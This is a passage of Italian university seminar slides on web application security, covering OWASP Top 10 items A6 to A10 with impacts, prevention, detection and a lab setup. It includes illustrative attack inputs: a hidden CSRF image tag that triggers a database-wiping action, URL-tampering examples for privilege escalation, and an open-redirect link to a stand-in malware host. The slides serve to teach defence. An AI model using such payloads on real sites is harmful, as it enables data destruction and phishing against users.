– Considerare il valore della riservatezza delle informazioni, le responsabilità legali, ed il danno alla reputazione
A6 – impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 90
● Crittografia delle informazioni usando le funzioni native del database (Transparent Data Encryption). Questo implica l'averle crittografate sul supporto ed in chiaro quando richieste. Anche nel caso di SQL injection.
● Mancato utilizzo di crittografia sul canale per tutta la durata della sessione, ma solo per la fase di autenticazione.
● Le credenziali sono salvate a database con hash semplice e non salate (utilizzo di hash precalcolati o rainbow tables).
A6 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 91
● Nulla di ciò che non c'è può essere rubato. Non salvare dati confidenziali non necessari o distruggerli il prima possibile.
● Utilizzare crittografia forte di tutti i dati confidenziali sia sul database che in transito
● Utilizzare le funzioni crittografiche corrette! Per le password usare key derivation functions: bcrypt, PBKFD2 o scrypt.
● Disabilitare le funzioni di autocompletamento per i form che gestiscono dati confidenziali e quelle di caching per le pagine che li contengono.
A6 - prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 92
● Definire quali dati sono da considerarsi confidenziali (!!!)● Definire le funzioni crittografiche da utilizzare per le diverse
tipologie di dato confidenziale● Verificare che le chiavi eventualmente generate siano robuste,
gestite in maniera sicura e sia possibile sostituirle (!)
● Verificare che i dati al primo punto siano crittografati sia a database che in transito come stabilito nel secondo punto
● Verificare che, per ogni pagina, siano inviate ai browser direttive adeguate alla protezione dei dati in esse contenuti.
A6 – rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 93
● La vulnerabilità
– Analoga ad A4: Si verifica quando l'applicazione permette la chiamata di funzioni protette senza verificare che l'utente abbia i permessi di autorizzazione necessari a chiamarle.
– Nota: quello che solitamente accade è che le funzioni non permesse sono escluse dalla UI, ma se richiamate, si eseguono.
● Vettori d'attacco
– Manipolazione di URL o parametri a funzioni protette da parte di utenti autenticati e non
A7 – Missing Function Level Access Control
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 94
● Difficoltà di sfruttamento: semplice
● Impatto tecnico: medio
– Permesso di accesso a funzioni non autorizzate / amministrative
● Impatto sul business: non determinato
– Proporzionale al valore di business delle funzioni esposte e dei dati che manipolano
– Considerare anche l'impatto sulla reputazione nel caso di pubblicazione della falla
A7 – impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 95
● Un utente non autenticato può accedere ad una pagina per la che richiede autenticazione, digitandone l'URL, ad esempio:
– non può superare www.sito.it/benvenuto.php
– ma può richiamare www.sito.it/mostra_qualcosa.php
● Un utente autenticato può eseguire funzioni non mostrate nell'interfaccia, che richiedono autorizzazione superiore, modificando URL e parametri
– dalla pagina www.sito.it/mostra_qualcosa.php
– alla pagina www.sito.it/modifica_qualcosa.php
A7 – esempi
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 96
● Una pagina contiene un parametro “azione” che specifica la funzione da eseguire, il livello di autorizzazione non viene verificato:
– dalla pagina www.sito.it/gestisci.cgi?azione=mostra
– alla pagina www.sito.it/gestisci.cgi?azione=modifica
A7 – esempi
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 97
● Utilizzare un modulo specifico, anche esterno, per gestire l'autorizzazione
– con un interfaccia semplice
– che permetta di essere richiamato da tutte le funzioni● Prevedere una gestione dei permessi semplice da modificare
e verificare. Evitare l'hard coding● Applicare il divieto di esecuzione come policy di default. Prima
di concedere l'esecuzione di funzioni, richiedere autorizzazioni esplicite date da regole specifiche
● Nel caso di anomalia nella verifica (fallimento di un controllo), chiudere la sessione.
A7 – prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 98
● Contrariamente ad A4 la verifica avviene a livello di funzione
1. function funzione_amministrativa(id_sessione, …) {
2. aut_rich = CO_LIVELLO_AUTH_PER_DISTRUZIONE_DEL_PIANETA;
3. if verifica_autorizzazione(id_sessione, aut_rich) {
4. tutto_ok_procedi();
5. } else {
6. biasima_utente_e_disconnetti(id_sessione);
7. }
8. }
A7 – esempio sicuro
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 99
● Il metodo più rapido è quello di verificare come viene permessa l'esecuzione di ogni funzione:
– L'interfaccia grafica nasconde le funzioni per le quali l'utente non dispone di autorizzazione?
– Le funzioni effettuano una verifica di autorizzazione prima dell'esecuzione?
– Le verifiche sono fatte su informazioni residenti sul server o utilizzano dati inviati dall'utente?
A7 - rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 100
● La vulnerabilità
– Si verifica quando è possibile prevedere ogni parametro richiesto per effettuare una specifica chiamata a funzione.
– In questo caso è possibile far eseguire operazioni non volute al browser di un utente legittimo
● Vettori d'attacco
– Iniezione di richieste HTTP forgiate via tag d'immagine, XSS, iframe o altre tecniche
– Hanno successo ogni qual volta l'utente è già autenticato
A8 – Cross-site Request Forgery (CSRF)
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 101
● Difficoltà di sfruttamento: media
● Impatto tecnico: medio
– Per quanto distruttive, l'attaccante può far eseguire solo funzioni cui l'utente è autorizzato
● Impatto sul business: non determinato
– Considerare l'importanza a livello di business dei dati trattati
– Considerare l'importanza di non essere certi dell'effettiva intenzione dell'utente e la sua sfiducia nell'applicazione
A8 – Impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 102
● L'utente è autenticato sul sito e visita (volontariamente o meno) una pagina del sito dell'attaccante contenente:
<img src='www.sito.it/esegui=vuota_db'
width='0'
height='0'>
● All'invio della richiesta HTTP, il browser includerà automaticamente le informazioni di sessione dell'utente sul sito www.sito.it e la funzione verrà eseguita
A8 – Esempio
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 103
● Includere un token unico e casuale in ogni pagina che preveda interazione da parte dell'utente, inserendolo in un campo nascosto e verificandolo ad ogni richiesta ricevuta
● Richiedere ri-autenticazione o prova di umanità (captcha), per le funzioni più delicate
● Ricordarsi di applicare timeout di sessione con tempi inversamente proporzionali al livello di autorizzazione degli utenti
A8 – Prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 104
● Verificare se ogni link o modulo include un campo contenente un token unico, dinamico e non calcolabile
● Assicurarsi che le funzioni chiamate verifichino il token (!)● Form e link che invocano sulle funzioni che alterano lo stato
dei dati sono le prime a dover essere verificate
– In caso di limiti di tempo o budget concentrarsi su queste● Ricordare che, per prevenire attacchi del tipo CSRF, non si
può fare affidamento su cookies o indirizzi IP di provenienza
A8 - rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 105
● La vulnerabilità
– Si verifica quando l'applicazione fa uso di componenti esterne, librerie, framework, loro dipendenze o altri moduli che sono affetti da vulnerabilità note
● Vettori d'attacco
– Variabili a seconda delle componenti utilizzate
A9 – Using Components With Known Vulnerabilities
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 106
● Difficoltà di sfruttamento: media
● Impatto tecnico: moderato
– In base alla tipologia di vulnerabilità ed al ruolo del componente vulnerabile all'interno del sistema, può portare da effetti triviali al possesso completo del server ed alla compromissione di ogni dato in esso contenuto
● Impatto sul business: non determinato
– Considerare il danno derivante dalla compromissione dell'intero sistema
A9 – impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 107
● Dipendono dalle componenti installate e sono i più disparati
● L'aspetto da tenere sempre in considerazione è che per l'esecuzione delle componenti esterne non è quasi mai applicato il principio del privilegio minimo
– Le componenti esterne sono quasi sempre eseguite con privilegi completi o comunque molto alti
A9 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 108
● Assicurarsi di tenere ogni componente del sistema aggiornato all'ultima versione stabile e compatibile con il resto del sistema
– Identificare ogni componente utilizzata e le relative dipendenze e le loro modalità di aggiornamento
– Monitorare la sicurezza delle stesse su database pubblici (CVE, NVD), ML dei rispettivi progetti, ML di sicurezza
– Stabilire policy per l'utilizzo di componenti esterne● essere sviluppate seguendo pratiche di sviluppo sicure● superamento di test di sicurezza definiti● sensibilità del produttore alle tematiche di sicurezza
A9 – prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 109
● Enumerare tutte le componenti, librerie, dipendenze, framework, moduli esterni utilizzati (nome, versione e sviluppatore) e punti in cui vengono richiamate
● Ricercare vulnerabilità note per gli stessi sui database CVE e NVD
● Valutare se il proprio codice fa uso delle porzioni di codice del componente contenenti le vulnerabilità trovate
A9 – rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 110
● La vulnerabilità
– Avviene quando l'applicazione redirige o inoltra l'utente verso un'altra pagina o sito utilizzando, senza validarli, dati non fidati per determinare la destinazione
● Vettori d'attacco
– Collegamenti malevoli inviati all'utente, che li utilizza senza senza preoccupazioni, in quanto puntano a siti validi / fidati
– Nota: questa vulnerabilità è molto efficace per il phishing, in quanto fa leva sulla fiducia che l'utente ripone nel sito!
A10 – Unvalidated Redirects and Forwards
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 111
● Difficoltà di sfruttamento: media
● Impatto tecnico: moderato
– Possono portare all'installazione di malware o alla divulgazione di password o altri dati confidenziali e quindi al bypass dei controlli di autenticazione
● Impatto sul business: non determinato
– Considerare il valore della fiducia da parte dell'utente
– Pensare ai casi di infezione da malware o accesso a funzioni protette da parte di terzi
A10 – impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 112
● L'applicazione usa una pagina per il redirect che attende in input il parametro to contenente l'URL di destinazionewww.sito.it/go.cgi?to=www.malware.ru/get_malware.html
● L'applicazione usa forward per ruotare le richieste da una pagina all'altra del sito usando il parametro fwd per determinare dove inviare l'utente al termine dell'elaborazione:http://www.sito.it/funzione1.cgi?fwd=funzione2.cgi
● In questo caso è possibile dirottare l'utente verso un sito malevolo o anche verso funzioni interne normalmente non disponibili all'utente
A10 – esempi
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 113
● Evitare l'uso di redirect e forward (sono i goto del web!)
● Non utilizzare parametri passati dall'utente (non fidati) per il calcolo delle destinazioni
● Se i parametri passati dall'utente sono necessari
– validarli e verificare le autorizzazioni per la destinazione
– preferire il mapping di destinazioni, evitando l'inserimento esplicito di URL, parti di URL o nomi di funzioni (vedere A4)
A10 – prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 114
● Ricercare nel codice tutti i redirect e forward (transfers in .Net)
● Analizzare il sito dall'esterno e cercare tutti i redirect a livello HTTP (codice 3xx)
● Per entrambi verificare se la destinazione (o parte di essa) fa parte dei parametri passati dall'utente ed in tal caso se sono validati ed è verificata l'autorizzazione
A10 - rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 115
Superficie d'attacco...
www.draw-shapes..de
firewall
clientutente/sistma
draw-shapes.de
web server
database
autenticazione
www.draw-shapes.de
web service
controlloaccessi
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 116
www.draw-shapes..de
firewall
clientutente/sistma
draw-shapes.de
web server
database
autenticazione
www.draw-shapes.de
web service
controlloaccessi
… e suo sfruttamento
XSS
CSRFClickjacking
PacketSniffing
Param.Tampering
DirectoryTraversal
Direct ObjRef
SQLInjection
XMLInjection
Tokenforgery
LDAPInjection
SensitiveData Exp
SecurityMisconfig
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 117
Abbiamo finito.
Chi vuole fare un po' di laboratorio?
It's lab time!
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 118
● Editare il file di hosts come amministratore/root
– Windows C:\WINDOWS\system32\drivers\etc\hosts
– Mac OS X /private/etc/hosts
– Linux /etc/hosts
INDIRIZZO_IP target
● Puntare il browser verso: http://target/
● Evitate di fare danni a gratis, altrimenti dobbiamo riavviare la macchina condivisa e perdere un sacco di tempo. Grazie.
Laboratorio
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 119
● OWASP – Documenti citati nella presentazione e gli Cheat Sheet.
● P. Litwin – Stop SQL Injection Attacks Before They Stop You – Microsoft MSDN
● B. Damele – Advanced SQL injection to operating system full control – 2009
● Defuse Security – Password Hashing Security: Salted Password Hashing – Doing it right – 2013
● R. Ivgi – XSS : Cross Site Scripting - Exposed - Why, How, When, Where!
● E. Benoist – Broken Authentication and Session Management – 2012
– In realtà Benoist è svizzero ed ha erroneamente scritto “Brocken” invece che “Broken” nel titolo della versione 2012 del documento.
● K. Kuliukas – How Rainbow Tables work
● B. Hardin – Series about the Owasp Top 10 – 2009
● Euorpean Commission – Cybersecurity Strategy of the European Union – 2013
● Presidenza del Consiglio dei Ministri – Quadro strategico nazionale per la sicurezza dello spazio cibernetico – 2013
● Laboratori virtuali disponibili: OWASP Webgoat, w4pt (web for pen testers), Offensive security Metasploitable, Damn Vulnerable Linux
Qualche riferimento
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 120
Seminario sulla sicurezza delle applicazioni web
Andrea Zwirner
@AndreaZwirner
Sicurezza informatica
Università degli Studi di VeronaCorso di Laurea Magistrale in Informatica